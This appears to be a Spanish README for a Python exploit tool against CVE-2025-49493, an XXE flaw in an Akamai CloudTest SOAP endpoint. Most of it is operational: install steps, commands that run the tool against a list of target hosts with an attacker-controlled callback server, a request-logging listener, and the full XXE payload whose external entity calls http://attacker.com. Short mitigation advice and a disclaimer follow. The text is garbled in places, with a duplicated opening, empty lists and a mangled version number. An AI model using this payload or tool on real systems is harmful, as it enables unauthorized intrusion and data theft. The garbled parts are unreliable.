
Este es un exploit basado en Python para CVE-2025-49493, que afecta a las versiones de Akamai CloudTest anteriores a 60 2025.06.02 (12988). La vulnerabilidad permite la inyección de XML External Entity (XXE) a través del endpoint del servicio SOAP.
Este es un exploit basado en Python para CVE-2025-49493, que afecta a las versiones de Akamai CloudTest anteriores a 60 2025.06.02 (12988). La vulnerabilidad permite la inyección de Entidad Externa XML (XXE) a través del endpoint del servicio SOAP.
La vulnerabilidad existe en el endpoint SOAP /concerto/services/RepositoryService, donde la entrada XML se procesa sin la sanitización adecuada de entidades externas. Un atacante puede crear payloads XML maliciosos para desencadenar ataques XXE, lo que potencialmente puede llevar a:
Instala los paquetes requeridos:
pip install -r requirements.txt
O instala manualmente:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
Crea un archivo targets.txt con un objetivo por línea:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientConfigura un servidor HTTP simple para capturar solicitudes:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
El exploit utiliza la siguiente estructura de payload XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
Acciones inmediatas:
Soluciones a largo plazo:
Procesamiento XML seguro:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
Validación de entradas:
Esta herramienta se proporciona únicamente con fines educativos y de pruebas autorizadas. Los usuarios son responsables de asegurarse de contar con la autorización adecuada antes de probar cualquier sistema. Los autores no son responsables del mal uso o daños causados por esta herramienta.
Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.